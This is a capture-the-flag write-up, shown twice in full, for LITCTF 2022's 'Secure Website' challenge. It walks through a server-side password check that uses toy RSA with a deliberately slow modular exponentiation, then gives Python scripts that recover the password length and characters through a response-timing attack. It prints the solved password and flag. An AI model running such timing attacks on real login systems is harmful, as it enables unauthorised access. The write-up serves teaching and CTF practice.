# Secure Website  
## Description  
> I have like so many things that I want to do, but I am not sure if I want
> others to see them yet D: I guess I will just hide all the super important
> stuff behind my super super fortified and secure Password Checker!  
## Attachments  
>[Site](http://litctf.live:31776/)
[SecureWebsite.zip](https://github.com/flocto/writeups/tree/main/2022/LITCTF/SecureWebsite/src)  
---

## Poyo poyo  
Upon visiting the site, we're greeted with a simple password form:

![website](https://github.com/flocto/writeups/blob/main/2022/LITCTF/SecureWebsite/images/password.png?raw=true)

Trying out some random passwords, we see we get redirected to a rickroll. So
let's open the source and see what's going on.

# Arr Ess Ayy  
It seems we need to acquire the password to get the flag.  
First we see that when we submit a password, it gets converted to an array of
numbers using RSA, and we are redirected to `/verify`  
```html  
<script type="text/javascript">  
       // Copying the setting from the server  
       // This is like TOTALLY secure right?  
       var p = 3217;  
       var q = 6451;  
       var e = 17;  
       // Hmmm, RSA calculator says to set these values  
       var N = p * q;  
       var phi = (p - 1) * (q - 1);  
       var d = 4880753;

       function submitForm() {  
           var pwd = $("#password").val();  
           var arr = [];  
           for(var i = 0;i < pwd.length;++i) {  
               arr.push(encryptRSA(pwd.charCodeAt(i)));  
           }  
           window.location.href = "/verify?password=" + arr.join();  
           return;  
       }

       function encryptRSA(num) {  
           return modPow(num,e,N);  
       }

       function modPow(base,exp,mod) {  
           var result = 1;  
           for(var i = 0;i < exp;++i) {  
               result = (result * base) % mod;  
           }  
           return result;  
       }  
</script>  
```  
Then on the server side, the array of numbers is converted back to characters
and finally compared with the password one letter at a time.  
```js  
app.get('/verify', (req, res) => {  
	var pass = req.query.password;  
	var start = performance.now();  
  
	if(pass == undefined || typeof(pass) !== 'string' || !checkPassword(password,pass)) {  
		res.writeHead(302, {'Location': 'about:blank'});  
		var now = performance.now();  
		// console.log(now - start);  
		res.end();  
		return;  
	}  
	res.render("secret",{flag: flag});  
});  
// passwordChecker.js  
var p = 3217;  
var q = 6451;  
var e = 17;  
// Hmmm, RSA calculator says to set these values  
var N = p * q;  
var phi = (p - 1) * (q - 1);  
var d = 4880753;

function decryptRSA(num) {  
	return modPow(num,d,N);  
}

function checkPassword(password,pass) {  
	var arr = pass.split(",");  
	for(var i = 0;i < arr.length;++i) {  
		arr[i] = parseInt(arr[i]);  
	}  
	if(arr.length != password.length) return false;

	for(var i = 0;i < arr.length;++i) {  
		var currentChar = password.charCodeAt(i);  
		var currentInput = decryptRSA(arr[i]);  
		if(currentChar != currentInput) return false;  
	}  
	return true;  
}

function modPow(base,exp,mod) {  
	var result = 1;  
	for(var i = 0;i < exp;++i) {  
		result = (result * base) % mod;  
	}  
	return result;  
}  
```  
While this implementation of RSA obviously isn't secure, it doesn't actually
leak any information about the flag.  
The checking process still occurs on the server, meaning we have no hints
about the password or flag. So how do we attack  
this problem?

# :clock9:  
The only suspicious part of the code at first glance is the `modPow` function.  
```js  
function modPow(base,exp,mod) {  
	var result = 1;  
	for(var i = 0;i < exp;++i) {  
		result = (result * base) % mod;  
	}  
	return result;  
}  
```  
This function seems **extremely** inefficient. Especially considering that
when decoding, `exp` is around 5 million.  
Given that Javascript is obviously not some new language, there are definitely
better built-in methods.

Obviously, an inefficient function also takes a relatively long time to
compute.

This means that when we input a password, if this function ever gets called,
we should see a significant increase in the time it takes  
for the server to respond.

## Hindrance  
There is just a small little bit before we go implementing our timing attack
exploit.  
```js  
   if(arr.length != password.length) return false;

	for(var i = 0;i < arr.length;++i) {  
		var currentChar = password.charCodeAt(i);  
		var currentInput = decryptRSA(arr[i]);  
		if(currentChar != currentInput) return false;  
	}  
	return true;  
```  
If the length of our input is not equal to the password length, the decrypt
function never gets called, meaning the server will  
return a result at around the same time regardless of if the letters match.

To defeat this check, we first write an exploit to find the length of the
password. Thankfully, the server will always call  
the decryption method for the first letter as long as the lengths match, even
if it does not equal the password.  
```py  
import requests  
import time  
# adapted from astro's code b/c too lazy to rewrite mine  
def findMax():  
   url='http://litctf.live:31776/verify?password='  
   maxes = []  
   curMax = (0,)  
   for i in range(30):  
       payload = url + ("123123123123," * i)[:-1] # random big number  
       then = time.time()  
       r = requests.get(payload, allow_redirects=False)  
       now = time.time()  
       delta = now - then  
       if delta > curMax[0]:  
           curMax = (delta, i)  
           print("New current max: ")  
       print(delta, i, payload)  
       maxes.append((delta, i))

   maxes.sort()  
   print(maxes[::-1])  
   print(curMax)  
   return maxes  
findMax()  
```  
Unfortunately, because of how the server is set up, we often get false
positives. This set of false positives honestly tripped me  
up at first because I couldn't seem to get the correct length.

Thankfully, all we have to do is run the script multiple times and see  
what length has the lowest ranking on average  
```python  
ranks = {i:[] for i in range(1,20)}  
for i in range(10):  
   print("Round", i)  
   ranking = findMax()  
   for place, (delta, num) in enumerate(ranking):  
       ranks[num].append(place)  
for i in range(1, 20):  
   print(i, ranks[i])  
   print("Average:", sum(ranks[i]) / len(ranks[i]))  
   print()  
```  
And, as it turns out, a length of 6 had an average much much lower than any
other length, meaning it's probably the actual length of the password.

# Final timings  
Now that we have the length of the password, it becomes a much more simple
timing attack, all we need to do is pad our input to be the length of the
password.  
```python  
import requests  
import time

p = 3217  
q = 6451  
e = 17

N = p * q  
phi = (p - 1) * (q - 1)  
d = 4880753

def encryptRSA(m):  
   return pow(m, e, N)

def submit(pwd):  
   arr = []  
   for i in range(len(pwd)):  
       arr.append(encryptRSA(ord(pwd[i])))  
   return ",".join(map(str, arr))

assert submit("12345678") ==
"8272582,17059160,20555739,5510519,9465679,18442920,18644618,3444445"

url = "http://litctf.live:31776/verify?password="  
base = ""  
import string  
alphabet = string.ascii_letters + string.digits # password is alphanumeric,
check main.js  
while True:  
   m = 0  
   mi = 0  
   for letter in alphabet:  
       password = base + letter  
       password = password.ljust(6, "_")  
  
       payload = submit(password)  
       # print(url + payload)

       then = time.time()  
       r = requests.get(url + payload, allow_redirects=False)  
       # print(url + payload)  
       now = time.time()

       print(password, round(now - then, 2))  
       # print(now - then, i)  
       # print(r.text)  
       if now - then > m:  
           m = now - then  
           mi = letter

       # fail is r.status_code == 302  
       print(r.status_code)  
       if r.status_code == 200:  
           print("Found:", password)  
           exit()  
       # print(i)  
       # print()  
   print(m, mi)  
   base += mi  
# Found: CxIj6p  
```  
After running this script for quite a while, we are able to get our final
password: `CxIj6p`.  
We can then login to the site and get our flag!

![flag](https://github.com/flocto/writeups/blob/main/2022/LITCTF/SecureWebsite/images/flag.png?raw=true)

```  
LITCTF{uwu_st3ph4ni3_i5_s0_0rz_0rz_0TZ}  
```

## Notes  
An interesting take on timing attacks using web as an interface. My only issue
with this problem is the false positives when trying to find the  
length of the password, which was pretty annoying because you have basically
no idea what causes them. Otherwise most of the stuff is standard  
timing attacks implementation.

Overall still very fun! :+1:

Original writeup
(https://github.com/flocto/writeups/tree/main/2022/LITCTF/SecureWebsite).# Secure Website  
## Description  
> I have like so many things that I want to do, but I am not sure if I want
> others to see them yet D: I guess I will just hide all the super important
> stuff behind my super super fortified and secure Password Checker!  
## Attachments  
>[Site](http://litctf.live:31776/)
[SecureWebsite.zip](https://github.com/flocto/writeups/tree/main/2022/LITCTF/SecureWebsite/src)  
\---

## Poyo poyo  
Upon visiting the site, we're greeted with a simple password form:

![website](https://github.com/flocto/writeups/blob/main/2022/LITCTF/SecureWebsite/images/password.png?raw=true)

Trying out some random passwords, we see we get redirected to a rickroll. So
let's open the source and see what's going on.

# Arr Ess Ayy  
It seems we need to acquire the password to get the flag.  
First we see that when we submit a password, it gets converted to an array of
numbers using RSA, and we are redirected to `/verify`  
```html  
<script type="text/javascript">  
// Copying the setting from the server  
// This is like TOTALLY secure right?  
var p = 3217;  
var q = 6451;  
var e = 17;  
// Hmmm, RSA calculator says to set these values  
var N = p * q;  
var phi = (p - 1) * (q - 1);  
var d = 4880753;

function submitForm() {  
var pwd = $("#password").val();  
var arr = [];  
for(var i = 0;i < pwd.length;++i) {  
arr.push(encryptRSA(pwd.charCodeAt(i)));  
}  
window.location.href = "/verify?password=" + arr.join();  
return;  
}

function encryptRSA(num) {  
return modPow(num,e,N);  
}

function modPow(base,exp,mod) {  
var result = 1;  
for(var i = 0;i < exp;++i) {  
result = (result * base) % mod;  
}  
return result;  
}  
</script>  
```  
Then on the server side, the array of numbers is converted back to characters
and finally compared with the password one letter at a time.  
```js  
app.get('/verify', (req, res) => {  
var pass = req.query.password;  
var start = performance.now();  
  
if(pass == undefined || typeof(pass) !== 'string' ||
!checkPassword(password,pass)) {  
res.writeHead(302, {'Location': 'about:blank'});  
var now = performance.now();  
// console.log(now - start);  
res.end();  
return;  
}  
res.render("secret",{flag: flag});  
});  
// passwordChecker.js  
var p = 3217;  
var q = 6451;  
var e = 17;  
// Hmmm, RSA calculator says to set these values  
var N = p * q;  
var phi = (p - 1) * (q - 1);  
var d = 4880753;

function decryptRSA(num) {  
return modPow(num,d,N);  
}

function checkPassword(password,pass) {  
var arr = pass.split(",");  
for(var i = 0;i < arr.length;++i) {  
arr[i] = parseInt(arr[i]);  
}  
if(arr.length != password.length) return false;

for(var i = 0;i < arr.length;++i) {  
var currentChar = password.charCodeAt(i);  
var currentInput = decryptRSA(arr[i]);  
if(currentChar != currentInput) return false;  
}  
return true;  
}

function modPow(base,exp,mod) {  
var result = 1;  
for(var i = 0;i < exp;++i) {  
result = (result * base) % mod;  
}  
return result;  
}  
```  
While this implementation of RSA obviously isn't secure, it doesn't actually
leak any information about the flag.  
The checking process still occurs on the server, meaning we have no hints
about the password or flag. So how do we attack  
this problem?

# :clock9:  
The only suspicious part of the code at first glance is the `modPow` function.  
```js  
function modPow(base,exp,mod) {  
var result = 1;  
for(var i = 0;i < exp;++i) {  
result = (result * base) % mod;  
}  
return result;  
}  
```  
This function seems **extremely** inefficient. Especially considering that
when decoding, `exp` is around 5 million.  
Given that Javascript is obviously not some new language, there are definitely
better built-in methods.

Obviously, an inefficient function also takes a relatively long time to
compute.

This means that when we input a password, if this function ever gets called,
we should see a significant increase in the time it takes  
for the server to respond.

## Hindrance  
There is just a small little bit before we go implementing our timing attack
exploit.  
```js  
if(arr.length != password.length) return false;

for(var i = 0;i < arr.length;++i) {  
var currentChar = password.charCodeAt(i);  
var currentInput = decryptRSA(arr[i]);  
if(currentChar != currentInput) return false;  
}  
return true;  
```  
If the length of our input is not equal to the password length, the decrypt
function never gets called, meaning the server will  
return a result at around the same time regardless of if the letters match.

To defeat this check, we first write an exploit to find the length of the
password. Thankfully, the server will always call  
the decryption method for the first letter as long as the lengths match, even
if it does not equal the password.  
```py  
import requests  
import time  
# adapted from astro's code b/c too lazy to rewrite mine  
def findMax():  
url='http://litctf.live:31776/verify?password='  
maxes = []  
curMax = (0,)  
for i in range(30):  
payload = url + ("123123123123," * i)[:-1] # random big number  
then = time.time()  
r = requests.get(payload, allow_redirects=False)  
now = time.time()  
delta = now - then  
if delta > curMax[0]:  
curMax = (delta, i)  
print("New current max: ")  
print(delta, i, payload)  
maxes.append((delta, i))

maxes.sort()  
print(maxes[::-1])  
print(curMax)  
return maxes  
findMax()  
```  
Unfortunately, because of how the server is set up, we often get false
positives. This set of false positives honestly tripped me  
up at first because I couldn't seem to get the correct length.

Thankfully, all we have to do is run the script multiple times and see  
what length has the lowest ranking on average  
```python  
ranks = {i:[] for i in range(1,20)}  
for i in range(10):  
print("Round", i)  
ranking = findMax()  
for place, (delta, num) in enumerate(ranking):  
ranks[num].append(place)  
for i in range(1, 20):  
print(i, ranks[i])  
print("Average:", sum(ranks[i]) / len(ranks[i]))  
print()  
```  
And, as it turns out, a length of 6 had an average much much lower than any
other length, meaning it's probably the actual length of the password.

# Final timings  
Now that we have the length of the password, it becomes a much more simple
timing attack, all we need to do is pad our input to be the length of the
password.  
```python  
import requests  
import time

p = 3217  
q = 6451  
e = 17

N = p * q  
phi = (p - 1) * (q - 1)  
d = 4880753

def encryptRSA(m):  
return pow(m, e, N)

def submit(pwd):  
arr = []  
for i in range(len(pwd)):  
arr.append(encryptRSA(ord(pwd[i])))  
return ",".join(map(str, arr))

assert submit("12345678") ==
"8272582,17059160,20555739,5510519,9465679,18442920,18644618,3444445"

url = "http://litctf.live:31776/verify?password="  
base = ""  
import string  
alphabet = string.ascii_letters + string.digits # password is alphanumeric,
check main.js  
while True:  
m = 0  
mi = 0  
for letter in alphabet:  
password = base + letter  
password = password.ljust(6, "_")  
  
payload = submit(password)  
# print(url + payload)

then = time.time()  
r = requests.get(url + payload, allow_redirects=False)  
# print(url + payload)  
now = time.time()

print(password, round(now - then, 2))  
# print(now - then, i)  
# print(r.text)  
if now - then > m:  
m = now - then  
mi = letter

# fail is r.status_code == 302  
print(r.status_code)  
if r.status_code == 200:  
print("Found:", password)  
exit()  
# print(i)  
# print()  
print(m, mi)  
base += mi  
# Found: CxIj6p  
```  
After running this script for quite a while, we are able to get our final
password: `CxIj6p`.  
We can then login to the site and get our flag!

![flag](https://github.com/flocto/writeups/blob/main/2022/LITCTF/SecureWebsite/images/flag.png?raw=true)

```  
LITCTF{uwu_st3ph4ni3_i5_s0_0rz_0rz_0TZ}  
```

## Notes  
An interesting take on timing attacks using web as an interface. My only issue
with this problem is the false positives when trying to find the  
length of the password, which was pretty annoying because you have basically
no idea what causes them. Otherwise most of the stuff is standard  
timing attacks implementation.

Overall still very fun! :+1:

Original writeup
(https://github.com/flocto/writeups/tree/main/2022/LITCTF/SecureWebsite).